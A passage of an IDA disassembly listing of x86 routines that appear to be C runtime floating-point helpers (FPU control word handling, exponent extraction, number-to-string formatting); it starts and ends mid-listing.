		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C1E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C12D
		mov	esi, ebx

loc_41C12D:				; CODE XREF: sub_41BFF3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_423810
		fnstsw	ax
		sahf
		jz	loc_41C1D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C39F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C178
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C1CC
; ---------------------------------------------------------------------------

loc_41C178:				; CODE XREF: sub_41BFF3+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_423810
		fnstsw	ax
		sahf
		jnb	short loc_41C18A
		mov	edx, ebx
		jmp	short loc_41C18C
; ---------------------------------------------------------------------------

loc_41C18A:				; CODE XREF: sub_41BFF3+191j
		xor	edx, edx

loc_41C18C:				; CODE XREF: sub_41BFF3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C1C0
		sub	eax, ecx

loc_41C1A3:				; CODE XREF: sub_41BFF3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C1AE
		test	esi, esi
		jnz	short loc_41C1AE
		mov	esi, ebx

loc_41C1AE:				; CODE XREF: sub_41BFF3+1B3j
					; sub_41BFF3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C1BA
		or	byte ptr [ebp+var_C+3],	80h

loc_41C1BA:				; CODE XREF: sub_41BFF3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C1A3

loc_41C1C0:				; CODE XREF: sub_41BFF3+1ACj
		test	edx, edx
		jz	short loc_41C1CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_41C1CC:				; CODE XREF: sub_41BFF3+183j
					; sub_41BFF3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C1D8
; ---------------------------------------------------------------------------

loc_41C1D6:				; CODE XREF: sub_41BFF3+14Ej
		mov	esi, ebx

loc_41C1D8:				; CODE XREF: sub_41BFF3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C1E5
		push	10h
		call	sub_41C4A0
		pop	ecx

loc_41C1E5:				; CODE XREF: sub_41BFF3+1E8j
		and	edi, 0FFFFFFFDh

loc_41C1E8:				; CODE XREF: sub_41BFF3+26j
					; sub_41BFF3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C1FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C1FF
		push	20h
		call	sub_41C4A0
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_41C1FF:				; CODE XREF: sub_41BFF3+1F9j
					; sub_41BFF3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41BFF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C20A(int,int,int,int,int,int,double,int)

sub_41C20A	proc near		; CODE XREF: sub_41BC55+2Bp
					; sub_41BCA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C2B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C275
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C47D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41FEAB
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C26F
		push	esi
		call	sub_41C292
		pop	ecx

loc_41C26F:				; CODE XREF: sub_41C20A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C275:				; CODE XREF: sub_41C20A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41C47D
		push	[ebp+arg_0]
		call	sub_41C292
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C20A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C292	proc near		; CODE XREF: sub_41BCA8+7Dp
					; sub_41C20A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C2AD
		jle	short locret_41C2B7
		cmp	eax, 3
		jg	short locret_41C2B7
		mov	dword_4894AC, 22h
		retn
; ---------------------------------------------------------------------------

loc_41C2AD:				; CODE XREF: sub_41C292+7j
		mov	dword_4894AC, 21h

locret_41C2B7:				; CODE XREF: sub_41C292+9j
					; sub_41C292+Ej
		retn
sub_41C292	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: sub_41C20A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43ACC8

loc_41C2BF:				; CODE XREF: sub_41C2B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C2D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43ADA0
		jl	short loc_41C2BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41C2D5:				; CODE XREF: sub_41C2B8+Dj
		mov	eax, off_43ACCC[ecx*8]
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2DD	proc near		; CODE XREF: sub_41BCA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C2E9
		push	5
		jmp	short loc_41C2FF
; ---------------------------------------------------------------------------

loc_41C2E9:				; CODE XREF: sub_41C2DD+6j
		test	al, 8
		jz	short loc_41C2F1
		push	1
		jmp	short loc_41C2FF
; ---------------------------------------------------------------------------

loc_41C2F1:				; CODE XREF: sub_41C2DD+Ej
		test	al, 4
		jz	short loc_41C2F9
		push	2
		jmp	short loc_41C2FF
; ---------------------------------------------------------------------------

loc_41C2F9:				; CODE XREF: sub_41C2DD+16j
		test	al, 1
		jz	short loc_41C301
		push	3

loc_41C2FF:				; CODE XREF: sub_41C2DD+Aj
					; sub_41C2DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C301:				; CODE XREF: sub_41C2DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C2DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C30A(double)

sub_41C30A	proc near		; CODE XREF: sub_4179A4:loc_417A2Ap
					; sub_417AEB:loc_417B71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C30A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C31C(double,int)

sub_41C31C	proc near		; CODE XREF: sub_41C39F+82p
					; sub_41C39F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C31C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C345	proc near		; CODE XREF: sub_4179A4+31p
					; sub_417AEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C35C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C36E
		push	1
		jmp	short loc_41C398
; ---------------------------------------------------------------------------

loc_41C35C:				; CODE XREF: sub_41C345+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C36E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C36E
		push	2
		jmp	short loc_41C398
; ---------------------------------------------------------------------------

loc_41C36E:				; CODE XREF: sub_41C345+11j
					; sub_41C345+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C381
		push	3
		jmp	short loc_41C398
; ---------------------------------------------------------------------------

loc_41C381:				; CODE XREF: sub_41C345+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C39B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C396
		cmp	[ebp+arg_0], edx
		jz	short loc_41C39B

loc_41C396:				; CODE XREF: sub_41C345+4Aj
		push	4

loc_41C398:				; CODE XREF: sub_41C345+15j
					; sub_41C345+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41C39B:				; CODE XREF: sub_41C345+41j
					; sub_41C345+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C345	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C39F(double,int)

sub_41C39F	proc near		; CODE XREF: sub_41BFF3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_423810
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C3BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C455
; ---------------------------------------------------------------------------

loc_41C3BF:				; CODE XREF: sub_41C39F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C42E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C3D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C42E

loc_41C3D7:				; CODE XREF: sub_41C39F+31j
		fld	[ebp+arg_0]
		fcomp	dbl_423810
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C3EF
		push	1
		pop	eax
		jmp	short loc_41C3F1
; ---------------------------------------------------------------------------

loc_41C3EF:				; CODE XREF: sub_41C39F+49j
		xor	eax, eax

loc_41C3F1:				; CODE XREF: sub_41C39F+4Ej
					; sub_41C39F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C40A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C404
		or	dword ptr [ebp+arg_0+4], 1

loc_41C404:				; CODE XREF: sub_41C39F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C3F1
; ---------------------------------------------------------------------------

loc_41C40A:				; CODE XREF: sub_41C39F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C418
		or	byte ptr [ebp+arg_0+7],	80h

loc_41C418:				; CODE XREF: sub_41C39F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C31C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C455
; ---------------------------------------------------------------------------

loc_41C42E:				; CODE XREF: sub_41C39F+28j
					; sub_41C39F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C31C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_41C455:				; CODE XREF: sub_41C39F+1Bj
					; sub_41C39F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C39F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C460	proc near		; CODE XREF: sub_41BD40+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C46E	proc near		; CODE XREF: sub_41BD40+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C46E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C47D	proc near		; CODE XREF: sub_4179A4+13p
					; sub_4179A4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C47D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C4A0	proc near		; CODE XREF: sub_41BFF3+1Dp
					; sub_41BFF3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C4B7
		fld	tbyte_43ADC8
		fistp	[ebp+arg_0]
		wait

loc_41C4B7:				; CODE XREF: sub_41C4A0+Bj
		test	cl, 8
		jz	short loc_41C4CC
		fstsw	ax
		fld	tbyte_43ADC8
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_41C4CC:				; CODE XREF: sub_41C4A0+1Aj
		test	cl, 10h
		jz	short loc_41C4DB
		fld	tbyte_43ADD4
		fstp	[ebp+var_8]
		wait

loc_41C4DB:				; CODE XREF: sub_41C4A0+2Fj
		test	cl, 4
		jz	short loc_41C4E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_41C4E9:				; CODE XREF: sub_41C4A0+3Ej
		test	cl, 20h
		jz	short locret_41C4F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C4F4:				; CODE XREF: sub_41C4A0+4Cj
		leave
		retn
sub_41C4A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4F6	proc near		; CODE XREF: sub_417A73+Fp
		push	30000h
		push	10000h
		call	sub_41FEE3
		pop	ecx
		pop	ecx
		retn
sub_41C4F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C508	proc near		; CODE XREF: sub_41C546:loc_41C56Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_423820
		fstp	[ebp+var_8]
		fld	dbl_423818
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4236A0
		fnstsw	ax
		sahf
		jbe	short loc_41C542
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C542:				; CODE XREF: sub_41C508+33j
		xor	eax, eax
		leave
		retn
sub_41C508	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C546	proc near		; CODE XREF: sub_417A73+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_423100	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41C56A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4230DC	; GetProcAddress
		test	eax, eax
		jz	short loc_41C56A
		push	0
		call	eax ; sub_417A73
		retn
; ---------------------------------------------------------------------------

loc_41C56A:				; CODE XREF: sub_41C546+Dj
					; sub_41C546+1Dj
		jmp	sub_41C508
sub_41C546	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C56F	proc near		; CODE XREF: sub_419B38+3CBp
					; DATA XREF: sub_417A8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_418E01
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C5AF

loc_41C583:				; CODE XREF: sub_41C56F+3Ej
		inc	esi
		cmp	dword_438C8C, 1
		jle	short loc_41C59C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41C5AB
; ---------------------------------------------------------------------------

loc_41C59C:				; CODE XREF: sub_41C56F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_438A80
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41C5AB:				; CODE XREF: sub_41C56F+2Bj
		test	eax, eax
		jnz	short loc_41C583

loc_41C5AF:				; CODE XREF: sub_41C56F+12j
		mov	cl, byte_438C90
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_41C5BA:				; CODE XREF: sub_41C56F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C5BA
		pop	esi
		retn
sub_41C56F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5C9	proc near		; CODE XREF: sub_419B38+3E2p
					; DATA XREF: sub_417A8B+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_438C90
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C5E5

loc_41C5D9:				; CODE XREF: sub_41C5C9+1Aj
		cmp	cl, dl
		jz	short loc_41C5E5
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C5D9

loc_41C5E5:				; CODE XREF: sub_41C5C9+Ej
					; sub_41C5C9+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C616

loc_41C5EC:				; CODE XREF: sub_41C5C9+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C5FF
		cmp	cl, 65h
		jz	short loc_41C5FF
		cmp	cl, 45h
		jz	short loc_41C5FF
		inc	eax
		jmp	short loc_41C5EC
; ---------------------------------------------------------------------------

loc_41C5FF:				; CODE XREF: sub_41C5C9+27j
					; sub_41C5C9+2Cj ...
		mov	ecx, eax

loc_41C601:				; CODE XREF: sub_41C5C9+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C601
		cmp	[eax], dl
		jnz	short loc_41C60C
		dec	eax

loc_41C60C:				; CODE XREF: sub_41C5C9+40j
					; sub_41C5C9+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C60C

locret_41C616:				; CODE XREF: sub_41C5C9+21j
		retn
sub_41C5C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C617	proc near		; DATA XREF: sub_417A8B+28o
					; .data:off_43ADF0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_423810
		fnstsw	ax
		sahf
		jb	short loc_41C62C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41C62C:				; CODE XREF: sub_41C617+Fj
		xor	eax, eax
		retn
sub_41C617	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C62F	proc near		; CODE XREF: sub_41D497+430p
					; DATA XREF: sub_417A8B+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C658
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4203A6
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C658:				; CODE XREF: sub_41C62F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_4203D3
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C62F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C66D	proc near		; CODE XREF: sub_41C8EA+17p
					; sub_41C934+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_48951C, 0
		push	ebx
		push	esi
		jz	short loc_41C6A2
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_489518
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41C985
		pop	ecx
		pop	ecx
		jmp	short loc_41C6DA
; ---------------------------------------------------------------------------

loc_41C6A2:				; CODE XREF: sub_41C66D+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_420477
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_420400
		add	esp, 14h

loc_41C6DA:				; CODE XREF: sub_41C66D+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C6E6
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_41C6E6:				; CODE XREF: sub_41C66D+73j
		test	ebx, ebx
		jle	short loc_41C6FE
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_438C90
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_41C6FE:				; CODE XREF: sub_41C66D+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_48951C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_4176C0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41C725
		mov	byte ptr [ecx],	45h

loc_41C725:				; CODE XREF: sub_41C66D+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41C76A
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41C739
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_41C739:				; CODE XREF: sub_41C66D+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41C750
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41C750:				; CODE XREF: sub_41C66D+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41C767
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41C767:				; CODE XREF: sub_41C66D+E7j
		add	[ecx+1], bl

loc_41C76A:				; CODE XREF: sub_41C66D+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C66D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C771	proc near		; CODE XREF: sub_41C911+13p
					; sub_41C934+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_48951C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41C7AC
		mov	eax, dword_489520
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_489518
		cmp	eax, ebx
		jnz	short loc_41C7DC
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41C7DC
; ---------------------------------------------------------------------------

loc_41C7AC:				; CODE XREF: sub_41C771+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_420477
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_420400
		add	esp, 14h

loc_41C7DC:				; CODE XREF: sub_41C771+22j
					; sub_41C771+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41C7EA
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_41C7EA:				; CODE XREF: sub_41C771+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41C801
		push	1
		push	edi
		call	sub_41C985
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41C803
; ---------------------------------------------------------------------------

loc_41C801:				; CODE XREF: sub_41C771+7Ej
		add	edi, eax

loc_41C803:				; CODE XREF: sub_41C771+8Ej
		test	ebx, ebx
		jle	short loc_41C848
		push	1
		push	edi
		call	sub_41C985
		mov	al, byte_438C90
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41C848
		cmp	byte_48951C, 0
		jz	short loc_41C82D
		neg	esi
		jmp	short loc_41C833
; ---------------------------------------------------------------------------

loc_41C82D:				; CODE XREF: sub_41C771+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41C835

loc_41C833:				; CODE XREF: sub_41C771+BAj
		mov	ebx, esi

loc_41C835:				; CODE XREF: sub_41C771+C0j
		push	ebx
		push	edi
		call	sub_41C985
		push	ebx
		push	30h
		push	edi
		call	sub_417030
		add	esp, 14h

loc_41C848:				; CODE XREF: sub_41C771+94j
					; sub_41C771+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C771	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C84F	proc near		; CODE XREF: sub_41C934+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_420477
		mov	dword_489518, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_489520, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_420400
		mov	eax, dword_489518
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_489520, ecx
		setl	cl
		mov	byte_489524, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_489520, eax
		jl	short loc_41C8D5
		cmp	eax, ebx
		jge	short loc_41C8D5
		test	cl, cl
